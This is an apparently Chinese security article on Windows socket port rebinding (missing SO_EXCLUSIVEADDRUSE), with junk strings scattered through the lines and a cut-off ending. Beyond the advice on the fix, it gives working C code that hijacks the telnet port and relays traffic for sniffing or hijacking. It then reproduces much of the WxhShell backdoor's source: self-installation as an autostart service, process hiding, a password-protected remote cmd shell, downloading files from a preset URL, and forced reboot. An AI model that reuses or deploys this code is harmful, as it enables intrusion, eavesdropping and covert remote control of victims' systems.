在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
J`Q>3]wL s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
1dY}\Sp PN%zIkbo saddr.sin_family = AF_INET;
^S<Y>Nm] Y>z>11yEB0 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
DPY}?dC YRk(u7:0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
D>r&}6< &A/]pi-\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>~rTqtKd O^PKn_OJ 这意味着什么?意味着可以进行如下的攻击:
G&SB- 3d8L6GJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
[Y/}
^ OF>mF~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
2>9C-VL2 hF?1y `20 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1#g2A0U, J( TkXNm 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*-WpZGh OdbEq?3S/? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
g9pZ\$J& h
f)?1z4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
3Aip}<1 *"2+B&Y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
sjTZF- X #dmo/L8 #include
phkwN}6 #include
^#-l
q) #include
@s>Czm5 #include
N];NAMp DWORD WINAPI ClientThread(LPVOID lpParam);
FZQP%]FX int main()
r r %V.r;2 {
G>_*djUf WORD wVersionRequested;
]#<4vl\ DWORD ret;
]EbM9Fo-U WSADATA wsaData;
K g*Q BOOL val;
NX.6px17 SOCKADDR_IN saddr;
GKqm&/M*= SOCKADDR_IN scaddr;
;O5zUl-` int err;
Ty\R=y}} SOCKET s;
5ta `%R_ SOCKET sc;
HWAdhDZ int caddsize;
m@j?za9s HANDLE mt;
M^Yh|%M DWORD tid;
ja'T+!k wVersionRequested = MAKEWORD( 2, 2 );
,,.QfUj/& err = WSAStartup( wVersionRequested, &wsaData );
6-
YU[HF if ( err != 0 ) {
ZoqZap6e printf("error!WSAStartup failed!\n");
P[-E@0h)-t return -1;
{W`%g^Z|H }
_ye |Y saddr.sin_family = AF_INET;
XX!%RE`M8 q$UJ$7=f8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
6v!`1}
~ =?*!"&h saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
"cGk)s saddr.sin_port = htons(23);
N% B>M7-= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wu6;.xTLl {
8rGgF]F printf("error!socket failed!\n");
g-k|>-h return -1;
nAato\mM }
j_[tu!~ val = TRUE;
+E+p"7 //SO_REUSEADDR选项就是可以实现端口重绑定的
bs&43Ae if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}K>d+6qk5 {
\K{
z printf("error!setsockopt failed!\n");
iMh#TUlQEQ return -1;
3%|&I:tI }
i"FtcP^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
zk+9'r`-D //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
P; no? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
2;b\9R^>A 1~FOgk1; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
rHI{aO7 {
I,DS@SK ret=GetLastError();
QL/(72K printf("error!bind failed!\n");
rXq.DvQ return -1;
c#]4awHU }
O\tb R= listen(s,2);
xH,a=8&9 while(1)
7z,C}-q {
Q\vpqE!9 caddsize = sizeof(scaddr);
zI uJ-8T" //接受连接请求
1H`,WQ1mG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
=I5>$}q_&, if(sc!=INVALID_SOCKET)
(L:>\m&NO {
n&/
` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
DfD&)tsMQ if(mt==NULL)
N>1em!AS {
Oo~;
L, printf("Thread Creat Failed!\n");
W*:.Gxv] break;
6_;icpN] }
MchA{p&Ol }
h"W,WxL8 CloseHandle(mt);
A{zN| S[ }
/}Axf"OE closesocket(s);
|-ALklXr WSACleanup();
Rv>-4@fMJ return 0;
Q{>k1$fkV }
Yh7t"=o DWORD WINAPI ClientThread(LPVOID lpParam)
KF}hV9IU {
Dy&i&5E.-l SOCKET ss = (SOCKET)lpParam;
= svN#q5s SOCKET sc;
~8+ Zs unsigned char buf[4096];
@
q3k%$4 SOCKADDR_IN saddr;
+`0k Fbx long num;
JR|ck=tq DWORD val;
1&OW4_ DWORD ret;
q
i;1L
Kc //如果是隐藏端口应用的话,可以在此处加一些判断
XT*sGM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
v1JzP# saddr.sin_family = AF_INET;
~ Iuf}D; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
h#*dI`>l- saddr.sin_port = htons(23);
S hWJ72c if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^76]0`gS {
re<{
> printf("error!socket failed!\n");
="H%6S4' return -1;
|Ez>J+uye( }
B[Scr5| val = 100;
P+sW[: if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3?yg\ {
(CL%>5V ret = GetLastError();
l'qg8 return -1;
D_7,m%Z: }
T-L||yE,h if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vr l-$ii {
X?',n
1 ret = GetLastError();
}.(B}/$u return -1;
Fm 2AEs\ }
+sA2WK] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|df Pki{ {
xo&_bMO printf("error!socket connect failed!\n");
:Yl-w-oe closesocket(sc);
b%`1cV closesocket(ss);
;'K5J9k return -1;
w&#]-|$ }
&z3o7rif$ while(1)
@. l@\4m {
T -2t.Xs //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
aXYY:; //如果是嗅探内容的话,可以再此处进行内容分析和记录
Y.UFbrv //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
'H!Uh]! num = recv(ss,buf,4096,0);
R n[cW5Y< if(num>0)
am'7uy!ka~ send(sc,buf,num,0);
kzLsoZ!I else if(num==0)
X_h}J=33Q break;
cT,sh~-x, num = recv(sc,buf,4096,0);
bE. .P&" if(num>0)
4$<JHo
@. send(ss,buf,num,0);
cq]6XK-W else if(num==0)
~
7s!VR break;
q9_OGd|P }
* u>\57W closesocket(ss);
o.!Dq7R closesocket(sc);
M }D}K\) return 0 ;
~0$&3a<n1 }
9A=,E& F41=b4/ >bW#Zs,6 ==========================================================
?a5! H*, 0h_|t-9j 下边附上一个代码,,WXhSHELL
zF<R'XP %u'ukcL7 ==========================================================
L4HI0Mx c@7rqHU-0 #include "stdafx.h"
~>|ziHx SJ,v?=S! #include <stdio.h>
vs4>T^8e #include <string.h>
l_p2Riv #include <windows.h>
K0>zxqY #include <winsock2.h>
#6= #include <winsvc.h>
f:}
x7_Q #include <urlmon.h>
ms]sD3z/W+ *2l7f`K #pragma comment (lib, "Ws2_32.lib")
|L ev.,,Ph #pragma comment (lib, "urlmon.lib")
U xGApK=X * EH~_F #define MAX_USER 100 // 最大客户端连接数
1qA;/-Zr<o #define BUF_SOCK 200 // sock buffer
M= (u]%\ #define KEY_BUFF 255 // 输入 buffer
!Uo4,g6r+ "y}5;9#, #define REBOOT 0 // 重启
`c$V$/IT #define SHUTDOWN 1 // 关机
9.#<b|g mfr|:i #define DEF_PORT 5000 // 监听端口
z{QqY.Gu{G W=?<<dVYD #define REG_LEN 16 // 注册表键长度
?J0y| #define SVC_LEN 80 // NT服务名长度
z24q3 3O 2?Vd 5xkt // 从dll定义API
'g\4O3&_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
L4W5EO$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
6=C<>c%+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
tw@X>
G1z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
PJ#,2=n~ ~n_HP_Kf? // wxhshell配置信息
He@KV= struct WSCFG {
UN#S;x* int ws_port; // 监听端口
TWTb?HP char ws_passstr[REG_LEN]; // 口令
?@x/E& int ws_autoins; // 安装标记, 1=yes 0=no
:A;RH char ws_regname[REG_LEN]; // 注册表键名
d=/F}yP~?s char ws_svcname[REG_LEN]; // 服务名
YmG("z char ws_svcdisp[SVC_LEN]; // 服务显示名
$`8wJf9@w char ws_svcdesc[SVC_LEN]; // 服务描述信息
{qVZNXDn char ws_passmsg[SVC_LEN]; // 密码输入提示信息
LS[]=Mk@1 int ws_downexe; // 下载执行标记, 1=yes 0=no
h(DTa char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%hP^%'G char ws_filenam[SVC_LEN]; // 下载后保存的文件名
HzsdHH(J .%-8 t{dt };
c+ie8Q! o8MZiU1Xf // default Wxhshell configuration
8Zdn, }Z struct WSCFG wscfg={DEF_PORT,
pxi3PY? "xuhuanlingzhe",
#'}*dy/ 1,
:`sUt1Fw. "Wxhshell",
\;Weizq5 "Wxhshell",
x+]" "WxhShell Service",
6A ah9 "Wrsky Windows CmdShell Service",
|.dRily+ "Please Input Your Password: ",
]:n,RO6 1,
['D]>Ot68 "
http://www.wrsky.com/wxhshell.exe",
<_+X 88 "Wxhshell.exe"
BA.uw_^4 };
XjBD{m( 7_t'( /yu // 消息定义模块
zQ PQ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
E{(;@PzE char *msg_ws_prompt="\n\r? for help\n\r#>";
xIn:ZKJ' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
i.#:zU%o char *msg_ws_ext="\n\rExit.";
I/N *gy?* char *msg_ws_end="\n\rQuit.";
k5)om;.w char *msg_ws_boot="\n\rReboot...";
`]aeI'[}R char *msg_ws_poff="\n\rShutdown...";
rm_Nn8p, char *msg_ws_down="\n\rSave to ";
Hn:Crl y# 7+*WH|Z@ char *msg_ws_err="\n\rErr!";
D%Z| char *msg_ws_ok="\n\rOK!";
nk:)j:fr hbn([+xY char ExeFile[MAX_PATH];
\M-OC5fQv int nUser = 0;
O/LXdz0B HANDLE handles[MAX_USER];
EQ_aa@M7 int OsIsNt;
h+,@G,|D gqR(.Pu SERVICE_STATUS serviceStatus;
Wp,R^d SERVICE_STATUS_HANDLE hServiceStatusHandle;
pR_9NfV{ \2z>?i) // 函数声明
2AdDIVYC int Install(void);
mkpMfPt int Uninstall(void);
unxqkU/<Z int DownloadFile(char *sURL, SOCKET wsh);
]$hBMuUa int Boot(int flag);
$cgcX void HideProc(void);
+ge?w#R int GetOsVer(void);
Vvo7C!$z int Wxhshell(SOCKET wsl);
6\t@)=C,Q void TalkWithClient(void *cs);
dN6?c'iN?2 int CmdShell(SOCKET sock);
7p[n int StartFromService(void);
qP
,EBE int StartWxhshell(LPSTR lpCmdLine);
'"Nr, vQo ~ri5zb20 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
naNghGQ VOID WINAPI NTServiceHandler( DWORD fdwControl );
!@sUj 2<6UwF // 数据结构和表定义
p7~!z.)o SERVICE_TABLE_ENTRY DispatchTable[] =
1;iUWU1@ {
ry]l.@o; {wscfg.ws_svcname, NTServiceMain},
{8etv:y {NULL, NULL}
HZOMlOZ };
/{2,zW OrW // 自我安装
u?EN int Install(void)
:11
A {
r_d!ikOT( char svExeFile[MAX_PATH];
SX#&5Ka/ HKEY key;
^rz_f{c]- strcpy(svExeFile,ExeFile);
C#pjmT_ /_.|E] // 如果是win9x系统,修改注册表设为自启动
CN?gq^ if(!OsIsNt) {
p4QU9DF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
s#MPX3itK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}0 ?3:A RegCloseKey(key);
iDD$pd,e\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
x~sBzTa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CGFDqCNr- RegCloseKey(key);
#K&Gp- return 0;
+,l-Nz }
'fW-Y!k% }
L50n8s }
wM{s|Ay else {
{h4E8.E tX[WH\(xI // 如果是NT以上系统,安装为系统服务
bd`P0f? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
9JwPSAo; if (schSCManager!=0)
T4F/w|Q {
SfR%s8c` SC_HANDLE schService = CreateService
_dU\JD (
Xc.`-J~Il schSCManager,
#z42C?V wscfg.ws_svcname,
cb bFw wscfg.ws_svcdisp,
s[ N@0 SERVICE_ALL_ACCESS,
zeRyL3fnmb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
m+9#5a- SERVICE_AUTO_START,
0`H#
'/ SERVICE_ERROR_NORMAL,
qSQ~D(tO svExeFile,
1*7@BP5 NULL,
kcEeFG;DQ NULL,
lRQYpc\ NULL,
@nf`Gw ; NULL,
|uDdHX8T NULL
`u\n0=go );
M%#e1"n if (schService!=0)
2qp#N% {
P2Y^d#jO CloseServiceHandle(schService);
!9x} CloseServiceHandle(schSCManager);
R-Sym8c strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
>sbu<|]a
7 strcat(svExeFile,wscfg.ws_svcname);
6:2vP
NF if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
=c7;r]Ol RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
V8(- RegCloseKey(key);
pot~<d`:K" return 0;
9u:Q,0\ }
2rMpgV5 }
# "an9< CloseServiceHandle(schSCManager);
w
= KPT''! }
%)n=x
ne }
lfg6646?S WhDJ7{D return 1;
"#48% -'x }
M3AXe]<eC1 2pAW9R#UV- // 自我卸载
v0y(58Rz. int Uninstall(void)
0IpmRH/ {
r*Xuj= HKEY key;
;d?R:Uw8 F[0]/ if(!OsIsNt) {
Js;h% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
hOeRd#AQK RegDeleteValue(key,wscfg.ws_regname);
pJ{Y
lS{ RegCloseKey(key);
< vP=zk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?#fQ~ s RegDeleteValue(key,wscfg.ws_regname);
.^g p? RegCloseKey(key);
'PHl$f*k return 0;
_-\#i }
cZ06Kx.. }
W8<%[-r }
%$mA03[MQ else {
ZB{Em B0W liSmjsk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=Sv/IXX\di if (schSCManager!=0)
<uJ@:oWG7 {
|g~ZfnP_% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/(LL3cZK if (schService!=0)
`x|?&Ytmf9 {
p#Bi>/C6 if(DeleteService(schService)!=0) {
Z]ONh CloseServiceHandle(schService);
t^L]/$q CloseServiceHandle(schSCManager);
5X+A"X
;C return 0;
g+lCMW\ }
Z{R> CloseServiceHandle(schService);
U6VKMxSJ }
BuwY3F\-O CloseServiceHandle(schSCManager);
Xeajxcop# }
4R*,VR.K }
`2snz1>!j u&NV,6Fj2[ return 1;
*](iS }
}M+7T\J! M?qy(zb // 从指定url下载文件
$u.z*b_yy int DownloadFile(char *sURL, SOCKET wsh)
D]}G.v1 {
{8OCXus3m HRESULT hr;
"]dI1 g_ char seps[]= "/";
AR=]=8 char *token;
kP"9&R`E char *file;
ceV}WN19l char myURL[MAX_PATH];
4Up/p&1@ char myFILE[MAX_PATH];
}'.m*#Y 4z? l strcpy(myURL,sURL);
;aBG,dr}i token=strtok(myURL,seps);
C]#,+q* while(token!=NULL)
PM+[,H {
B3BN`mdn> file=token;
G2Zer=rC token=strtok(NULL,seps);
*or(1DXP8 }
ise-O1' "fI6Cpc GetCurrentDirectory(MAX_PATH,myFILE);
'%D7C=;^ strcat(myFILE, "\\");
c:0L+OF}xY strcat(myFILE, file);
_LPHPj^Pg send(wsh,myFILE,strlen(myFILE),0);
w@b)g send(wsh,"...",3,0);
(?c-iKGc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
pGZ8F if(hr==S_OK)
G9lUxmS< return 0;
7"mc+QOp else
Zh,71Umz return 1;
g ?k=^C IU[ [H# }
#jk_5W TO_e^A# // 系统电源模块
`g,..Ns-r int Boot(int flag)
NgwbQ7) {
WM{=CD HANDLE hToken;
xmX 4qtAL TOKEN_PRIVILEGES tkp;
/B3i C#? G"6 !{4g if(OsIsNt) {
O}P`P'Y|' OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
*fdTpXa LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
~BF&rx5Q tkp.PrivilegeCount = 1;
j6YOKJX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
;,TFr}p` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\8
":]EU if(flag==REBOOT) {
Kgv T"s. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%$I;{-LD return 0;
rUl+ }
%*U'@r(A else {
9z0p5)]n> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
phK/ return 0;
pJ=#zsE0 }
:U\tv[
}
.N3mb6#[R else {
@,}UWU if(flag==REBOOT) {
C+]I@Go'Tk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-} +[ return 0;
u!s2BC0}N }
~@!bsLSMU else {
*#2h/Q. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
j+!v}*I![ return 0;
9ati`-y2 }
~[
F`" }
[m -bV$-d \G BuWY3B return 1;
[RL9>n8f }
>sF)BoLc 4
:v=pZ // win9x进程隐藏模块
edD)TpmE, void HideProc(void)
(BM47D=v {
.d*8C, FsPw1A$y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
QWU[@2@%r if ( hKernel != NULL )
$:6!H:ty {
D=$)n_F pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
#z(]xI)" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6LZCgdS{ FreeLibrary(hKernel);
H+#FSdy# }
*v`eUQ: &[9709 (= return;
r^ XVB`v }
jCY%| TzZq(?V // 获取操作系统版本
b$7 +;I; int GetOsVer(void)
IgzQr > {
3R/bz0 V> OSVERSIONINFO winfo;
'R)Tn!6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
KoRV%@I GetVersionEx(&winfo);
\*da6Am if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
0_/[k*Re return 1;
y}
'@R$ else
l}h!B_P' return 0;
N mG# }
QPx^_jA t-AmX)$ // 客户端句柄模块
rOYx
b }1 int Wxhshell(SOCKET wsl)
MA\V[32H {
RFGffA&
SOCKET wsh;
:m;p:l|W struct sockaddr_in client;
54,er$$V DWORD myID;
pCDmXB W)/#0*7 while(nUser<MAX_USER)
5G#n"}T {
^q&x7Kv% int nSize=sizeof(client);
F@t3!bj9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Mt$
*a if(wsh==INVALID_SOCKET) return 1;
B?QIN] s.rm7r@# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
b>W%t if(handles[nUser]==0)
R_KH"`q closesocket(wsh);
$qiya[&G4 else
9sP0D nUser++;
#tHK"20 }
cL ]1f WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
~u{uZ(~ }bDm@NU return 0;
bcyzhK= }
1 zZlC#V m 5.Zu. // 关闭 socket
"%_+-C<L4 void CloseIt(SOCKET wsh)
]'cs. {
@~e5<:|5# closesocket(wsh);
-=="<0c nUser--;
+vH4MwG$.& ExitThread(0);
J,hCvm }
mw!F{pw PCvWS.{ // 客户端请求句柄
!if void TalkWithClient(void *cs)
<%d>v-=B {
b}f~il SBpL6~NW SOCKET wsh=(SOCKET)cs;
W!X@ char pwd[SVC_LEN];
|4JEU3\$ char cmd[KEY_BUFF];
45e~6", char chr[1];
sB</DS int i,j;
XSDpRo '%qr.T
% while (nUser < MAX_USER) {
Ri{=]$ 0f/<7R if(wscfg.ws_passstr) {
s1rCpzK0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
pRqx`5 } //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ixFi{_ //ZeroMemory(pwd,KEY_BUFF);
D-c4EV i=0;
AdEMa}u6 while(i<SVC_LEN) {
rsQtMtS2 -"`=1l // 设置超时
3mgD(,(^ fd_set FdRead;
>%G1"d?j struct timeval TimeOut;
H)?z
#x FD_ZERO(&FdRead);
h\o.&6sd FD_SET(wsh,&FdRead);
j^'go&p TimeOut.tv_sec=8;
8Wx=p#_ TimeOut.tv_usec=0;
A<{{iBEI` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
d~H`CrQE* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8r{.jFGv *g%yRU{N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%A`+WYeuX pwd
=chr[0]; t!XwW$@
if(chr[0]==0xd || chr[0]==0xa) { vt8By@]:
pwd=0; ]`K2N
break; vgPCQO([
} WMdg1J+~
i++; JI}'dU>*U:
} 3$ pX
NOva'qk
// 如果是非法用户,关闭 socket /7kC<
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p'%s=TGwv
} UfGkTwoo=
29KiuP
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fex@,I&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f8~_E
W4S,6(
while(1) { <YY 14p
>Ry01G]_/h
ZeroMemory(cmd,KEY_BUFF); *pq\MiD/
!a`&O-ye
// 自动支持客户端 telnet标准 N)T}P\l
j=0; ]esC[r]PJ
while(j<KEY_BUFF) { ^sw?gH*
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EwN}l
cmd[j]=chr[0]; 0S"MC9beg
if(chr[0]==0xa || chr[0]==0xd) { s_Sk0}e
cmd[j]=0; ;TYBx24vD'
break; K-4PI+qQ\
} _b 0&!l<
j++; se)TzI^]b@
}
ep8
1#x0 q:6
// 下载文件 Da|z"I
x
if(strstr(cmd,"http://")) { D~m*!w*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qm}@!z^
if(DownloadFile(cmd,wsh)) d0D]Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^!d3=}:0
else iTwm3V
P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;pAK_>
} GOPfXtkC
else { d=(mw_-?
LoV<:|GTI
switch(cmd[0]) { jp,4h4C^)
K0~rN.C!0
// 帮助 ?4 ,T}@P
case '?': { 1?}T=)3+$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DQ3<$0
break; dN q$}
} h{Y",7]!
// 安装 N7"W{"3D
case 'i': { gdc<ZYcM
if(Install()) 7#Ft|5$~q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tw;}jh
else 1Mzmg[L8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [JiH\+XLPs
break; f|5co>Hk
} 7.Op<
// 卸载 ?9/G[[(
case 'r': { sRs>"zAg
if(Uninstall()) dV_G1'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?`s8 pPc4
else e6*8K@LHB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _>+Ld6.T6
break; lxx2H1([
} RZLq]8pM
// 显示 wxhshell 所在路径 3fj4%P"
case 'p': { MtdG>TzUn
char svExeFile[MAX_PATH]; ^q5#ihM
strcpy(svExeFile,"\n\r"); ?s01@f#
strcat(svExeFile,ExeFile); [,Gg^*umS
send(wsh,svExeFile,strlen(svExeFile),0); `yyG/l
break; o!Zb0/AP)
} K+eM
// 重启 [0!( xp^
case 'b': { 01]f2.5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (`^1Y3&2
if(Boot(REBOOT)) |Cv!,]9:r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @d'j zs
else { /^ts9:
closesocket(wsh); 7!1S)dup
ExitThread(0); <'u'#E@"sl
} m
O_af
break; BPrt'Nc
} Q &8-\
// 关机 w)f#V s
case 'd': { O.? JmE
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >4TO=i
if(Boot(SHUTDOWN)) /~1+i'7V.,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rcuz(yS8
else { "oyo#-5z
closesocket(wsh); VY-EmbkG-t
ExitThread(0); F?0Ykjh3
} Yy8g(bU
break; $xsd~L&
} wYea\^co
// 获取shell c<~H(k'+c
case 's': { U{mYTN*:j$
CmdShell(wsh); }MySaL>
closesocket(wsh); W?&%x(6M
ExitThread(0); P \I|,
break; +A+)=/i;
} HS$r8`S?)
// 退出 3]hWfj1m2
case 'x': { :FF=a3/"6
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?6!LL5a.
CloseIt(wsh); P}iE+Z3
break; 8ag!K*\V<
} [E_9V%^
// 离开 (Ld i|jL
case 'q': { bA 2pbjg=
send(wsh,msg_ws_end,strlen(msg_ws_end),0); @ Qe0! (_=
closesocket(wsh); btB%[]
WSACleanup(); rv;3~'V
exit(1); :RYTL'hes
break; ceA9){
} 7<4qQ.deE
} XW/o<[91
} crCJrN=
\8tsDG(1 '
// 提示信息 #yen8SskB
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l;U?Z'n
} tPvpJX6kP
} "@kaHIf[
f$( e\++
return; ]:;&1h3'7
} hTkyz
la
jPeYmv]
// shell模块句柄 <@}9Bid!o
int CmdShell(SOCKET sock) WIOV2+
{ Kw}'W
8` c
STARTUPINFO si; nN;u,}e
ZeroMemory(&si,sizeof(si)); zs;JJk^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a*;b^Ze`v
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?2a $*(
PROCESS_INFORMATION ProcessInfo; /reX{Y
char cmdline[]="cmd"; u2I Cl
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IV-{ve6
return 0; 6@f-Glwg
} Vl]>u+YqE
:&Nbw
// 自身启动模式 p_ =z#
int StartFromService(void) G3]4A&h9v~
{ E7hhew
typedef struct rNM;ZPF#
{ ?%86/N>
DWORD ExitStatus; w!CNRtM:~
DWORD PebBaseAddress; 6zkaOA46V
DWORD AffinityMask; B!yr!DWv
DWORD BasePriority; -&f$GUTJ
ULONG UniqueProcessId; [lAp62i5
